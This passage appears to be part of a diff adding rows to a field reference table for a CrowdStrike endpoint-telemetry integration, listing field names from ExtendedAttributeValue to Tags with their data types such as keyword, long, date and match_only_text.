+| crowdstrike.ExtendedAttributeValue |  | match_only_text |
+| crowdstrike.ExtendedAttributeValueReadable |  | match_only_text |
+| crowdstrike.ExtendedKeyUsages |  | keyword |
+| crowdstrike.ExternalApiType |  | keyword |
+| crowdstrike.FXFileSize |  | keyword |
+| crowdstrike.Facility |  | keyword |
+| crowdstrike.FailedConnectCount |  | long |
+| crowdstrike.FalconGroupingTags |  | keyword |
+| crowdstrike.FalconHostLink |  | keyword |
+| crowdstrike.FeatureExtractionVersion |  | keyword |
+| crowdstrike.FeatureVector |  | match_only_text |
+| crowdstrike.File |  | keyword |
+| crowdstrike.FileAttributes |  | keyword |
+| crowdstrike.FileAttributesNew |  | keyword |
+| crowdstrike.FileAttributesPrevious |  | keyword |
+| crowdstrike.FileCategory |  | keyword |
+| crowdstrike.FileCategoryCounts |  | nested |
+| crowdstrike.FileContent |  | match_only_text |
+| crowdstrike.FileDeletedCount |  | long |
+| crowdstrike.FileEcpBitmask |  | keyword |
+| crowdstrike.FileName |  | keyword |
+| crowdstrike.FileObject |  | keyword |
+| crowdstrike.FileOperatorSid |  | keyword |
+| crowdstrike.FilePath |  | keyword |
+| crowdstrike.FileSigningTime |  | keyword |
+| crowdstrike.FileSubType |  | keyword |
+| crowdstrike.FileSystemOperationType |  | keyword |
+| crowdstrike.FileType.Type.CategoryID |  | keyword |
+| crowdstrike.FileType.Type.CategoryName |  | keyword |
+| crowdstrike.FileType.Type.Description |  | keyword |
+| crowdstrike.FileType.Type.ID |  | keyword |
+| crowdstrike.FileType.Type.Name |  | keyword |
+| crowdstrike.FileVaultIsEnabled |  | match_only_text |
+| crowdstrike.FileVersion |  | keyword |
+| crowdstrike.FileWrittenFlags |  | keyword |
+| crowdstrike.FilesAccessed.FileName |  | keyword |
+| crowdstrike.FilesAccessed.FilePath |  | keyword |
+| crowdstrike.FilesAccessed.Timestamp |  | date |
+| crowdstrike.FilesEgressedCount |  | long |
+| crowdstrike.FilesWritten.FileName |  | keyword |
+| crowdstrike.FilesWritten.FilePath |  | keyword |
+| crowdstrike.FilesWritten.Timestamp |  | date |
+| crowdstrike.FirewallAction |  | keyword |
+| crowdstrike.FirewallOption |  | keyword |
+| crowdstrike.FirewallOptionNumericValue |  | keyword |
+| crowdstrike.FirewallProfile |  | keyword |
+| crowdstrike.FirewallRule |  | keyword |
+| crowdstrike.FirewallRuleId |  | keyword |
+| crowdstrike.FirmwareAnalysisEclConsumerInterfaceVersion |  | keyword |
+| crowdstrike.FirmwareAnalysisEclControlInterfaceVersion |  | keyword |
+| crowdstrike.FirstCommand |  | match_only_text |
+| crowdstrike.FirstDiscoveredDate |  | date |
+| crowdstrike.FirstIP4Record |  | keyword |
+| crowdstrike.FirstSeen |  | date |
+| crowdstrike.FixedFileVersion |  | keyword |
+| crowdstrike.Flags |  | keyword |
+| crowdstrike.FltCallbackData |  | keyword |
+| crowdstrike.FltCompletionContext |  | keyword |
+| crowdstrike.FltRelatedObjects |  | keyword |
+| crowdstrike.FontBuffer |  | keyword |
+| crowdstrike.FontBufferLength |  | keyword |
+| crowdstrike.FontFileCount |  | long |
+| crowdstrike.FontFileName |  | keyword |
+| crowdstrike.FontLoadOperation |  | keyword |
+| crowdstrike.FsOperationClassification |  | keyword |
+| crowdstrike.FsOperationClassificationFlags |  | keyword |
+| crowdstrike.FullExceptionRecord |  | keyword |
+| crowdstrike.GenericFileWrittenCount |  | long |
+| crowdstrike.GrandParentBaseFileName |  | keyword |
+| crowdstrike.GrandparentCommandLine |  | keyword |
+| crowdstrike.GrandparentCommandLine.text | Multi-field of `crowdstrike.GrandparentCommandLine`. | match_only_text |
+| crowdstrike.GrandparentImageFileName |  | keyword |
+| crowdstrike.GrandparentImageFilePath |  | keyword |
+| crowdstrike.GrandparentProcessId |  | keyword |
+| crowdstrike.GroupRid |  | keyword |
+| crowdstrike.HandleCreateAuthenticationId |  | keyword |
+| crowdstrike.HandleCreated |  | keyword |
+| crowdstrike.HandleOperationType |  | keyword |
+| crowdstrike.HashAlgorithm |  | keyword |
+| crowdstrike.HostGroups |  | keyword |
+| crowdstrike.HostHiddenStatus |  | keyword |
+| crowdstrike.HostProcessType |  | keyword |
+| crowdstrike.HttpInternalSource |  | match_only_text |
+| crowdstrike.HttpMethod |  | match_only_text |
+| crowdstrike.HttpRequestHeader |  | match_only_text |
+| crowdstrike.HttpUrl |  | match_only_text |
+| crowdstrike.IOCType |  | keyword |
+| crowdstrike.IOCValue |  | keyword |
+| crowdstrike.IOServiceClass |  | keyword |
+| crowdstrike.IOServiceName |  | keyword |
+| crowdstrike.IOServicePath |  | keyword |
+| crowdstrike.IP4Records |  | keyword |
+| crowdstrike.IcmpCode |  | keyword |
+| crowdstrike.IcmpType |  | keyword |
+| crowdstrike.IfType |  | keyword |
+| crowdstrike.ImageBaseName |  | keyword |
+| crowdstrike.ImageCheckSum |  | keyword |
+| crowdstrike.ImageEntryPoint |  | keyword |
+| crowdstrike.ImageFileName |  | keyword |
+| crowdstrike.ImageSignatureLevel |  | keyword |
+| crowdstrike.ImageSignatureType |  | keyword |
+| crowdstrike.ImageSubsystem |  | keyword |
+| crowdstrike.ImageTimeStamp |  | keyword |
+| crowdstrike.ImpersonatedUserName |  | keyword |
+| crowdstrike.InBroadcastOctets |  | keyword |
+| crowdstrike.InContext |  | keyword |
+| crowdstrike.InDiscards |  | keyword |
+| crowdstrike.InErrors |  | keyword |
+| crowdstrike.InMulticastOctets |  | keyword |
+| crowdstrike.InMulticastPkts |  | keyword |
+| crowdstrike.InNUcastPkts |  | keyword |
+| crowdstrike.InOctets |  | keyword |
+| crowdstrike.InUcastOctets |  | keyword |
+| crowdstrike.InUcastPkts |  | keyword |
+| crowdstrike.InUnknownProtos |  | keyword |
+| crowdstrike.IndividualDiskInfo |  | match_only_text |
+| crowdstrike.Information |  | keyword |
+| crowdstrike.InjectedDll |  | keyword |
+| crowdstrike.InjectedDllCount |  | long |
+| crowdstrike.InjectedThreadCount |  | long |
+| crowdstrike.InjectedThreadFlag |  | keyword |
+| crowdstrike.InstanceMetadata |  | match_only_text |
+| crowdstrike.InstanceMetadataSignature |  | match_only_text |
+| crowdstrike.IntegrityLevel |  | keyword |
+| crowdstrike.InterfaceAlias |  | keyword |
+| crowdstrike.InterfaceDescription |  | keyword |
+| crowdstrike.InterfaceFlags |  | keyword |
+| crowdstrike.InterfaceGuid |  | keyword |
+| crowdstrike.InterfaceIdentifier |  | keyword |
+| crowdstrike.InterfaceIndex |  | long |
+| crowdstrike.InterfaceKind |  | match_only_text |
+| crowdstrike.InterfaceMtu |  | keyword |
+| crowdstrike.InterfaceType |  | keyword |
+| crowdstrike.InterfaceVersion |  | keyword |
+| crowdstrike.IpEntryFlags |  | keyword |
+| crowdstrike.IrpFlags |  | keyword |
+| crowdstrike.IsClipboard |  | boolean |
+| crowdstrike.IsEBPF |  | keyword |
+| crowdstrike.IsFromDifferentMountNamespace |  | keyword |
+| crowdstrike.IsHosted |  | keyword |
+| crowdstrike.IsOnNetwork |  | keyword |
+| crowdstrike.IsOnRemovableDisk |  | keyword |
+| crowdstrike.IsProcessInitializing |  | keyword |
+| crowdstrike.IsTransactedFile |  | keyword |
+| crowdstrike.IsUnique |  | keyword |
+| crowdstrike.KernelTime |  | long |
+| crowdstrike.KeyObject |  | match_only_text |
+| crowdstrike.LanguageId |  | keyword |
+| crowdstrike.LastAdded |  | match_only_text |
+| crowdstrike.LastDiscoveredBy |  | keyword |
+| crowdstrike.LastDisplayed |  | match_only_text |
+| crowdstrike.LastLoggedOnHost |  | keyword |
+| crowdstrike.LastPendingUpdateInstalledTime |  | match_only_text |
+| crowdstrike.LaunchItemType |  | match_only_text |
+| crowdstrike.LaunchItemUrl |  | match_only_text |
+| crowdstrike.LdapSearchFilterSample |  | match_only_text |
+| crowdstrike.LfoUploadFlags |  | keyword |
+| crowdstrike.LightningLatencyState |  | keyword |
+| crowdstrike.Line |  | keyword |
+| crowdstrike.LinkLocalAddressBehavior |  | keyword |
+| crowdstrike.LinkLocalAddressTimeout |  | keyword |
+| crowdstrike.LocalAddressIP4 |  | ip |
+| crowdstrike.LocalAddressIP6 |  | ip |
+| crowdstrike.LocalAddressMaskIP4 |  | keyword |
+| crowdstrike.LocalAddressMaskIP6 |  | keyword |
+| crowdstrike.LocalAdminAccess |  | keyword |
+| crowdstrike.LocalIP |  | ip |
+| crowdstrike.LocalIPv6 |  | ip |
+| crowdstrike.LocalIpAddressPipelineSource |  | keyword |
+| crowdstrike.LogicalCoreCount |  | long |
+| crowdstrike.LoginSessionId |  | keyword |
+| crowdstrike.LogoffTime |  | date |
+| crowdstrike.LogonDomain |  | keyword |
+| crowdstrike.LogonId |  | keyword |
+| crowdstrike.LogonInfo |  | keyword |
+| crowdstrike.LogonServer |  | keyword |
+| crowdstrike.LogonTime |  | date |
+| crowdstrike.LogonType |  | keyword |
+| crowdstrike.MACAddress |  | keyword |
+| crowdstrike.MACPrefix |  | keyword |
+| crowdstrike.MD5HashData |  | keyword |
+| crowdstrike.MD5String |  | keyword |
+| crowdstrike.MLModelVersion |  | keyword |
+| crowdstrike.MachOSubType |  | keyword |
+| crowdstrike.MajorFunction |  | keyword |
+| crowdstrike.MajorVersion |  | keyword |
+| crowdstrike.Malicious |  | keyword |
+| crowdstrike.ManagedPdbBuildPath |  | match_only_text |
+| crowdstrike.MappedFromUserMode |  | keyword |
+| crowdstrike.MatchedClassification.ID |  | keyword |
+| crowdstrike.MatchedClassification.Name |  | keyword |
+| crowdstrike.MaxReassemblySize |  | keyword |
+| crowdstrike.MaxRouterAdvertisementInterval |  | keyword |
+| crowdstrike.MaxThreadCount |  | long |
+| crowdstrike.MediaConnectState |  | keyword |
+| crowdstrike.MediaType |  | keyword |
+| crowdstrike.MemoryAvailable |  | match_only_text |
+| crowdstrike.MemoryTotal |  | keyword |
+| crowdstrike.Metric |  | keyword |
+| crowdstrike.MicrocodeSignature |  | keyword |
+| crowdstrike.MinRouterAdvertisementInterval |  | keyword |
+| crowdstrike.MinorFunction |  | keyword |
+| crowdstrike.MinorVersion |  | keyword |
+| crowdstrike.MmioDataGenPmconB |  | match_only_text |
+| crowdstrike.MmioDataSmiEn |  | match_only_text |
+| crowdstrike.MmioDataTco1Cnt |  | match_only_text |
+| crowdstrike.MoboManufacturer |  | keyword |
+| crowdstrike.MoboProductName |  | keyword |
+| crowdstrike.ModelPrediction |  | keyword |
+| crowdstrike.ModuleCharacteristics |  | keyword |
+| crowdstrike.ModuleILPath |  | keyword |
+| crowdstrike.ModuleLoadCount |  | long |
+| crowdstrike.ModuleLoadTelemetryClassification |  | keyword |
+| crowdstrike.ModuleSize |  | keyword |
+| crowdstrike.MountedVolumeAction |  | keyword |
+| crowdstrike.NDRoot |  | keyword |
+| crowdstrike.NegateInterface |  | keyword |
+| crowdstrike.NegateLocalAddress |  | keyword |
+| crowdstrike.NegateRemoteAddress |  | keyword |
+| crowdstrike.NeighborList |  | keyword |
+| crowdstrike.NeighborName |  | keyword |
+| crowdstrike.NetLuidIndex |  | long |
+| crowdstrike.NetworkAccesses.AccessTimestamp |  | keyword |
+| crowdstrike.NetworkAccesses.AccessType |  | keyword |
+| crowdstrike.NetworkAccesses.ConnectionDirection |  | keyword |
+| crowdstrike.NetworkAccesses.IsIPV6 |  | keyword |
+| crowdstrike.NetworkAccesses.LocalAddress |  | keyword |
+| crowdstrike.NetworkAccesses.LocalPort |  | keyword |
+| crowdstrike.NetworkAccesses.Protocol |  | keyword |
+| crowdstrike.NetworkAccesses.RemoteAddress |  | keyword |
+| crowdstrike.NetworkAccesses.RemotePort |  | keyword |
+| crowdstrike.NetworkBindCount |  | long |
+| crowdstrike.NetworkCapableAsepWriteCount |  | long |
+| crowdstrike.NetworkCloseCount |  | long |
+| crowdstrike.NetworkConnectCount |  | long |
+| crowdstrike.NetworkConnectCountUdp |  | long |
+| crowdstrike.NetworkContainmentState |  | keyword |
+| crowdstrike.NetworkGuid |  | keyword |
+| crowdstrike.NetworkInterfaceGuid |  | keyword |
+| crowdstrike.NetworkListenCount |  | long |
+| crowdstrike.NetworkModuleLoadCount |  | long |
+| crowdstrike.NetworkRecvAcceptCount |  | long |
+| crowdstrike.NewExecutableWrittenCount |  | long |
+| crowdstrike.NewFileAttributesLinux |  | keyword |
+| crowdstrike.NewFileIdentifier |  | keyword |
+| crowdstrike.NewUnixPermissions |  | keyword |
+| crowdstrike.NlMtu |  | keyword |
+| crowdstrike.Nonce |  | unsigned_long |
+| crowdstrike.OSVersionFileData |  | match_only_text |
+| crowdstrike.OSVersionFileName |  | keyword |
+| crowdstrike.OU |  | keyword |
+| crowdstrike.Object1Type |  | keyword |
+| crowdstrike.ObjectAccessOperationType |  | keyword |
+| crowdstrike.ObjectNameEtw |  | match_only_text |
+| crowdstrike.ObjectType |  | keyword |
+| crowdstrike.ObjectTypeEtw |  | match_only_text |
+| crowdstrike.Objective |  | keyword |
+| crowdstrike.OciContainerAppName |  | match_only_text |
+| crowdstrike.OciContainerAppVersion |  | match_only_text |
+| crowdstrike.OciContainerConfigImage |  | match_only_text |
+| crowdstrike.OciContainerConfigLabels |  | match_only_text |
+| crowdstrike.OciContainerConfigTty |  | match_only_text |
+| crowdstrike.OciContainerConfigUser |  | match_only_text |
+| crowdstrike.OciContainerEngineType |  | match_only_text |
+| crowdstrike.OciContainerHostConfigCgroup |  | match_only_text |
+| crowdstrike.OciContainerHostConfigDevices |  | match_only_text |
+| crowdstrike.OciContainerHostConfigOomKillDisable |  | match_only_text |
+| crowdstrike.OciContainerHostConfigPrivileged |  | match_only_text |
+| crowdstrike.OciContainerHostConfigPublishAllPorts |  | match_only_text |
+| crowdstrike.OciContainerHostConfigReadOnlyRootfs |  | match_only_text |
+| crowdstrike.OciContainerId |  | match_only_text |
+| crowdstrike.OciContainerImageId |  | match_only_text |
+| crowdstrike.OciContainerInfoRetransmitted |  | match_only_text |
+| crowdstrike.OciContainerMounts |  | match_only_text |
+| crowdstrike.OciContainerName |  | match_only_text |
+| crowdstrike.OciContainerNetworkSettingsIpAddress |  | match_only_text |
+| crowdstrike.OciContainerPhase |  | match_only_text |
+| crowdstrike.OciContainerStateOOMKilled |  | match_only_text |
+| crowdstrike.OciContainerStatePid |  | match_only_text |
+| crowdstrike.OciContainersStartedCount |  | match_only_text |
+| crowdstrike.OciContainersStoppedCount |  | match_only_text |
+| crowdstrike.OnLinkPrefixLength |  | keyword |
+| crowdstrike.OperStatus |  | keyword |
+| crowdstrike.OperationFlags |  | keyword |
+| crowdstrike.Options |  | keyword |
+| crowdstrike.OriginWebLocations |  | flattened |
+| crowdstrike.OriginalContentLength |  | keyword |
+| crowdstrike.OriginalEventTimeStamp |  | keyword |
+| crowdstrike.OriginalFilename |  | keyword |
+| crowdstrike.OriginalParentAuthenticationId |  | keyword |
+| crowdstrike.OriginalUserName |  | keyword |
+| crowdstrike.OriginalUserSid |  | keyword |
+| crowdstrike.OutBroadcastOctets |  | keyword |
+| crowdstrike.OutDiscards |  | keyword |
+| crowdstrike.OutErrors |  | keyword |
+| crowdstrike.OutMulticastOctets |  | keyword |
+| crowdstrike.OutMulticastPkts |  | keyword |
+| crowdstrike.OutNUcastPkts |  | keyword |
+| crowdstrike.OutOctets |  | keyword |
+| crowdstrike.OutUcastOctets |  | keyword |
+| crowdstrike.OutUcastPkts |  | keyword |
+| crowdstrike.Parameter1 |  | keyword |
+| crowdstrike.Parameter2 |  | keyword |
+| crowdstrike.Parameter3 |  | keyword |
+| crowdstrike.Parameter64_1 |  | keyword |
+| crowdstrike.Parameter64_2 |  | keyword |
+| crowdstrike.Parameter64_3 |  | keyword |
+| crowdstrike.ParentAuthenticationId |  | keyword |
+| crowdstrike.ParentCommandLine |  | keyword |
+| crowdstrike.ParentCommandLine.text | Multi-field of `crowdstrike.ParentCommandLine`. | match_only_text |
+| crowdstrike.ParentImageFileName |  | keyword |
+| crowdstrike.ParentImageFilePath |  | keyword |
+| crowdstrike.ParentProcessPatternIdList |  | keyword |
+| crowdstrike.PasswordLastSet |  | keyword |
+| crowdstrike.PathMtuDiscoveryTimeout |  | keyword |
+| crowdstrike.PatternDispositionDescription |  | keyword |
+| crowdstrike.PatternDispositionFlags.BlockingUnsupportedOrDisabled |  | boolean |
+| crowdstrike.PatternDispositionFlags.BootupSafeguardEnabled |  | boolean |
+| crowdstrike.PatternDispositionFlags.ContainmentFileSystem |  | boolean |
+| crowdstrike.PatternDispositionFlags.CriticalProcessDisabled |  | boolean |
+| crowdstrike.PatternDispositionFlags.Detect |  | boolean |
+| crowdstrike.PatternDispositionFlags.FsOperationBlocked |  | boolean |
+| crowdstrike.PatternDispositionFlags.HandleOperationDowngraded |  | boolean |
+| crowdstrike.PatternDispositionFlags.InddetMask |  | boolean |
+| crowdstrike.PatternDispositionFlags.Indicator |  | boolean |
+| crowdstrike.PatternDispositionFlags.KillActionFailed |  | boolean |
+| crowdstrike.PatternDispositionFlags.KillParent |  | boolean |
+| crowdstrike.PatternDispositionFlags.KillProcess |  | boolean |
+| crowdstrike.PatternDispositionFlags.KillSubProcess |  | boolean |
+| crowdstrike.PatternDispositionFlags.OperationBlocked |  | boolean |
+| crowdstrike.PatternDispositionFlags.PolicyDisabled |  | boolean |
+| crowdstrike.PatternDispositionFlags.ProcessBlocked |  | boolean |
+| crowdstrike.PatternDispositionFlags.QuarantineFile |  | boolean |
+| crowdstrike.PatternDispositionFlags.QuarantineMachine |  | boolean |
+| crowdstrike.PatternDispositionFlags.RegistryOperationBlocked |  | boolean |
+| crowdstrike.PatternDispositionFlags.Rooting |  | boolean |
+| crowdstrike.PatternDispositionFlags.SensorOnly |  | boolean |
+| crowdstrike.PatternDispositionFlags.SuspendParent |  | boolean |
+| crowdstrike.PatternDispositionFlags.SuspendProcess |  | boolean |
+| crowdstrike.PatternDispositionValue |  | long |
+| crowdstrike.PatternId |  | keyword |
+| crowdstrike.PatternIdList |  | match_only_text |
+| crowdstrike.PciAttachmentState |  | keyword |
+| crowdstrike.PciConfigDataBdsm |  | match_only_text |
+| crowdstrike.PciConfigDataBiosCntl |  | match_only_text |
+| crowdstrike.PciConfigDataGenPmconA |  | match_only_text |
+| crowdstrike.PciConfigDataGgc |  | match_only_text |
+| crowdstrike.PciConfigDataHfsts1 |  | match_only_text |
+| crowdstrike.PciConfigDataMesegBase |  | match_only_text |
+| crowdstrike.PciConfigDataRemapbase |  | match_only_text |
+| crowdstrike.PciConfigDataRemaplimit |  | match_only_text |
+| crowdstrike.PciConfigDataSmramc |  | match_only_text |
+| crowdstrike.PciConfigDataTom |  | match_only_text |
+| crowdstrike.PciConfigDataTouud |  | match_only_text |
+| crowdstrike.PciConfigDataTsegmb |  | match_only_text |
+| crowdstrike.Pcr0 |  | match_only_text |
+| crowdstrike.Pcr1 |  | match_only_text |
+| crowdstrike.Pcr2 |  | match_only_text |
+| crowdstrike.Pcr3 |  | match_only_text |
+| crowdstrike.Pcr4 |  | match_only_text |
+| crowdstrike.Pcr5 |  | match_only_text |
+| crowdstrike.Pcr6 |  | match_only_text |
+| crowdstrike.Pcr7 |  | match_only_text |
+| crowdstrike.PendingUpdateIds |  | match_only_text |
+| crowdstrike.PerformanceCounter |  | keyword |
+| crowdstrike.PermanentPhysicalAddress |  | keyword |
+| crowdstrike.PhysicalAddress |  | keyword |
+| crowdstrike.PhysicalAddressLength |  | long |
+| crowdstrike.PhysicalCoreCount |  | long |
+| crowdstrike.PhysicalMediumType |  | keyword |
+| crowdstrike.PlatformId |  | keyword |
+| crowdstrike.PlatformName |  | keyword |
+| crowdstrike.PointerSize |  | keyword |
+| crowdstrike.Policy.ID |  | keyword |
+| crowdstrike.Policy.Name |  | keyword |
+| crowdstrike.PolicyRuleSeverity |  | long |
+| crowdstrike.PreferredLifetime |  | keyword |
+| crowdstrike.PrefixLength |  | keyword |
+| crowdstrike.PrefixOrigin |  | keyword |
+| crowdstrike.Prevalence.Key |  | keyword |
+| crowdstrike.PreviousConnectTime |  | date |
+| crowdstrike.PreviousFileAttributesLinux |  | keyword |
+| crowdstrike.PreviousUnixPermissions |  | keyword |
+| crowdstrike.PrimaryModule |  | keyword |
+| crowdstrike.PrivilegedProcessHandleCount |  | long |
+| crowdstrike.PrivilegesBitmask |  | keyword |
+| crowdstrike.ProcessAttributes |  | match_only_text |
+| crowdstrike.ProcessCount |  | long |
+| crowdstrike.ProcessCreateFlags |  | keyword |
+| crowdstrike.ProcessId |  | long |
+| crowdstrike.ProcessParameterFlags |  | keyword |
+| crowdstrike.ProcessStartKey |  | keyword |
+| crowdstrike.ProcessSxsFlags |  | keyword |
+| crowdstrike.ProcessorPackageCount |  | long |
+| crowdstrike.ProductType |  | keyword |
+| crowdstrike.ProtectVirtualMemoryCount |  | long |
+| crowdstrike.ProvisionState |  | keyword |
+| crowdstrike.PublicKeys |  | keyword |
+| crowdstrike.PupAdwareConfidence |  | keyword |
+| crowdstrike.PupAdwareDecisionValue |  | keyword |
+| crowdstrike.QuarantinedFileExtendedState |  | match_only_text |
+| crowdstrike.QuarantinedFileName |  | match_only_text |
+| crowdstrike.QuarantinedFileState |  | match_only_text |
+| crowdstrike.QueryStatus |  | integer |
+| crowdstrike.QueueApcCount |  | long |
+| crowdstrike.RFMState |  | keyword |
+| crowdstrike.RGID |  | keyword |
+| crowdstrike.RPath |  | match_only_text |
+| crowdstrike.RTRState |  | keyword |
+| crowdstrike.RUID |  | keyword |
+| crowdstrike.RawThreadId |  | keyword |
+| crowdstrike.ReachableTime |  | keyword |
+| crowdstrike.ReasonOfFunctionalityLevel |  | keyword |
+| crowdstrike.ReceiveLinkSpeed |  | keyword |
+| crowdstrike.ReferrerUrl |  | keyword |
+| crowdstrike.RegBinaryValue |  | match_only_text |
+| crowdstrike.RegClassification |  | keyword |
+| crowdstrike.RegClassificationFlags |  | keyword |
+| crowdstrike.RegClassificationIndex |  | keyword |
+| crowdstrike.RegConfigClass |  | keyword |
+| crowdstrike.RegConfigFlags |  | keyword |
+| crowdstrike.RegConfigIndex |  | keyword |
+| crowdstrike.RegConfigValueType |  | keyword |
+| crowdstrike.RegCreateDisposition |  | match_only_text |
+| crowdstrike.RegCreateOptions |  | match_only_text |
+| crowdstrike.RegKeySecurityDecreasedCount |  | long |
+| crowdstrike.RegObjectName |  | keyword |
+| crowdstrike.RegOperationType |  | keyword |
+| crowdstrike.RegPostObjectName |  | match_only_text |
+| crowdstrike.RegRootObjectName |  | match_only_text |
+| crowdstrike.RegStringValue |  | match_only_text |
+| crowdstrike.RegType |  | keyword |
+| crowdstrike.RegValueName |  | keyword |
+| crowdstrike.RelatedClassifications.ID |  | keyword |
+| crowdstrike.RelatedClassifications.Name |  | keyword |
+| crowdstrike.RemoteAccount |  | keyword |
+| crowdstrike.RemoteAddressMaskIP4 |  | keyword |
+| crowdstrike.RemoteAddressMaskIP6 |  | keyword |
+| crowdstrike.RemoteAddressString |  | keyword |
+| crowdstrike.RemovableDiskFileWrittenCount |  | long |
+| crowdstrike.RequestType |  | keyword |
+| crowdstrike.ResendToCloud |  | keyword |
+| crowdstrike.ResourceAttributes |  | flattened |
+| crowdstrike.ResourceCreateTime |  | date |
+| crowdstrike.ResourceId |  | keyword |
+| crowdstrike.ResourceIdType |  | keyword |
+| crowdstrike.RespondingDnsServer |  | keyword |
+| crowdstrike.ResponseAction |  | keyword |
+| crowdstrike.RetransmitTime |  | keyword |
+| crowdstrike.RootPath |  | keyword |
+| crowdstrike.RouteAge |  | keyword |
+| crowdstrike.RouteMetric |  | keyword |
+| crowdstrike.RouteOrigin |  | keyword |
+| crowdstrike.RouterDiscoveryBehavior |  | keyword |
+| crowdstrike.RpcClientProcessId |  | keyword |
+| crowdstrike.RpcClientThreadId |  | keyword |
+| crowdstrike.RpcNestingLevel |  | keyword |
+| crowdstrike.RpcOpClassification |  | match_only_text |
+| crowdstrike.RpcOpNum |  | keyword |
+| crowdstrike.RuleId |  | keyword |
+| crowdstrike.RunDllInvocationCount |  | long |
+| crowdstrike.SHA1HashData |  | keyword |
+| crowdstrike.SHA1String |  | keyword |
+| crowdstrike.SHA256HashData |  | keyword |
+| crowdstrike.SHA256String |  | keyword |
+| crowdstrike.SVGID |  | keyword |
+| crowdstrike.SVUID |  | keyword |
+| crowdstrike.SamAccountName |  | match_only_text |
+| crowdstrike.ScopeLevel |  | keyword |
+| crowdstrike.ScopeZone |  | keyword |
+| crowdstrike.ScreenshotType |  | keyword |
+| crowdstrike.ScreenshotsTakenCount |  | long |
+| crowdstrike.ScriptContent |  | match_only_text |
+| crowdstrike.ScriptContentBytes |  | match_only_text |
+| crowdstrike.ScriptContentName |  | keyword |
+| crowdstrike.ScriptContentScanId |  | match_only_text |
+| crowdstrike.ScriptControlErrorCode |  | keyword |
+| crowdstrike.ScriptEngineInvocationCount |  | long |
+| crowdstrike.ScriptingLanguageId |  | keyword |
+| crowdstrike.SecurityInformationLinux |  | keyword |
+| crowdstrike.SensorGroupingTags |  | keyword |
+| crowdstrike.SensorId |  | keyword |
+| crowdstrike.SensorStateBitMap |  | keyword |
+| crowdstrike.ServiceAccessPropertiesEtw |  | match_only_text |
+| crowdstrike.ServiceCurrentState |  | keyword |
+| crowdstrike.ServiceDelayedAutoStart |  | match_only_text |
+| crowdstrike.ServiceDependOnService |  | match_only_text |
+| crowdstrike.ServiceDescription |  | keyword |
+| crowdstrike.ServiceDisplayName |  | keyword |
+| crowdstrike.ServiceErrorControl |  | keyword |
+| crowdstrike.ServiceEventCount |  | long |
+| crowdstrike.ServiceFailureActions |  | keyword |
+| crowdstrike.ServiceImagePath |  | keyword |
+| crowdstrike.ServicePackMajor |  | keyword |
+| crowdstrike.ServiceSecurity |  | keyword |
+| crowdstrike.ServiceStart |  | keyword |
+| crowdstrike.ServiceType |  | keyword |
+| crowdstrike.SessionId |  | keyword |
+| crowdstrike.SessionProcessId |  | keyword |
+| crowdstrike.SetThreadContextCount |  | long |
+| crowdstrike.Severity |  | integer |
+| crowdstrike.SeverityName |  | keyword |
+| crowdstrike.ShannonEntropy |  | keyword |
+| crowdstrike.ShareAccess |  | keyword |
+| crowdstrike.ShareName |  | keyword |
+| crowdstrike.ShareSecurity |  | keyword |
+| crowdstrike.ShareSecuritySddl |  | keyword |
+| crowdstrike.SignInfoFlags |  | keyword |
+| crowdstrike.SignatureErrorState |  | keyword |
+| crowdstrike.SignatureState |  | keyword |
+| crowdstrike.SiteName |  | keyword |
+| crowdstrike.SitePrefixLength |  | keyword |
+| crowdstrike.Size |  | long |
+| crowdstrike.SkipAsSource |  | keyword |
+| crowdstrike.SmbClientName |  | keyword |
+| crowdstrike.SmbShareName |  | keyword |
+| crowdstrike.SnapshotFileOpenCount |  | long |
+| crowdstrike.SourceAccountDomain |  | keyword |
+| crowdstrike.SourceAccountObjectGuid |  | keyword |
+| crowdstrike.SourceAccountObjectSid |  | keyword |
+| crowdstrike.SourceAccountSamAccountName |  | keyword |
+| crowdstrike.SourceEndpointAccountObjectGuid |  | keyword |
+| crowdstrike.SourceEndpointAccountObjectSid |  | keyword |
+| crowdstrike.SourceEndpointAddressIP4 |  | keyword |
+| crowdstrike.SourceEndpointHostName |  | keyword |
+| crowdstrike.SourceEndpointNetworkTag |  | keyword |
+| crowdstrike.SourceEndpointNetworkType |  | keyword |
+| crowdstrike.SourceEventUniqueId |  | keyword |
+| crowdstrike.SourceFileName |  | keyword |
+| crowdstrike.SourceProcessId |  | keyword |
+| crowdstrike.SourceProducts |  | keyword |
+| crowdstrike.SourceThreadId |  | keyword |
+| crowdstrike.SourceThreadModule |  | match_only_text |
+| crowdstrike.SourceThreadStartAddress |  | keyword |
+| crowdstrike.SourceVendors |  | keyword |
+| crowdstrike.SpibarDataBfpr |  | match_only_text |
+| crowdstrike.SpibarDataFreg0 |  | match_only_text |
+| crowdstrike.SpibarDataFreg1 |  | match_only_text |
+| crowdstrike.SpibarDataFreg2 |  | match_only_text |
+| crowdstrike.SpibarDataFreg3 |  | match_only_text |
+| crowdstrike.SpibarDataFreg4 |  | match_only_text |
+| crowdstrike.SpibarDataHsfs |  | match_only_text |
+| crowdstrike.SpibarDataPr0 |  | match_only_text |
+| crowdstrike.SpibarDataPr1 |  | match_only_text |
+| crowdstrike.SpibarDataPr2 |  | match_only_text |
+| crowdstrike.SpibarDataPr3 |  | match_only_text |
+| crowdstrike.SpibarDataPr4 |  | match_only_text |
+| crowdstrike.SpibarDataVscc0 |  | match_only_text |
+| crowdstrike.SpibarDataVscc1 |  | match_only_text |
+| crowdstrike.StartTime |  | date |
+| crowdstrike.Status |  | keyword |
+| crowdstrike.StorageUsageInfo |  | match_only_text |
+| crowdstrike.SubStatus |  | keyword |
+| crowdstrike.SubjectDomainNameEtw |  | match_only_text |
+| crowdstrike.SuffixOrigin |  | keyword |
+| crowdstrike.SuppressType |  | keyword |
+| crowdstrike.Suppression.Suppressed |  | boolean |
+| crowdstrike.SuspectStackCount |  | long |
+| crowdstrike.SuspiciousCredentialModuleLoadCount |  | long |
+| crowdstrike.SuspiciousDnsRequestCount |  | long |
+| crowdstrike.SuspiciousFontLoadCount |  | long |
+| crowdstrike.SuspiciousRawDiskReadCount |  | long |
+| crowdstrike.SymbolicLinkName |  | keyword |
+| crowdstrike.SymbolicLinkTarget |  | keyword |
+| crowdstrike.SyntheticPR2Flags |  | keyword |
+| crowdstrike.SystemManufacturer |  | keyword |
+| crowdstrike.SystemProcessCount |  | match_only_text |
+| crowdstrike.SystemProductName |  | keyword |
+| crowdstrike.SystemSerialNumber |  | keyword |
+| crowdstrike.SystemSku |  | keyword |
+| crowdstrike.SystemTableIndex |  | long |
+| crowdstrike.Tactic |  | keyword |
+| crowdstrike.Tags |  | keyword |
